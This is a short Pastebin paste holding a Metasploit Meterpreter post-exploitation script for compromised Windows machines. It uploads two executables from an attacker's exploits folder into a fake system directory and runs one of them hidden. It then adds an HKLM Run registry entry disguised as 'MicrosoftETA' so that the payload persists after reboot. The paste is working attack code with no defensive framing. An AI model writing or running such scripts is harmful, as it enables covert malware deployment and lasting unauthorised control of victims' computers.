Guest User

Untitled

a guest
Jun 23rd, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. print_status("Creating directory")
  2. client.fs.dir.mkdir("c:\\system")
  3. client.fs.dir.mkdir("c:\\system\\windows")
  4. client.fs.file.upload_file("c:\\system\\windows\\wingrab.exe" , "/root/Desktop/exploits/Project/wingrab.exe")
  5. client.fs.file.upload_file("c:\\system\\windows\\winview.exe" , "/root/Desktop/exploits/Project/winview.exe")
  6. client.sys.process.execute("c:\\system\\windows\\wingrab.exe", nil, {'Hidden' => 'true'})
  7. key = "HKLM\\software\\microsoft\\windows\\currentversion\\run"
  8. value = "MicrosoftETA"
  9. data = "c:\\system\\windows\\wingrab.exe"
  10. type = "REG_SZ"
  11. root_key, base_key = client.sys.registry.splitkey(key)
  12. open_key = client.sys.registry.open_key(root_key, base_key, KEY_WRITE)
  13. open_key.set_value(value, client.sys.registry.type2str(type), data)
  14. print_line("Successful")
Add Comment
Please, Sign In to add comment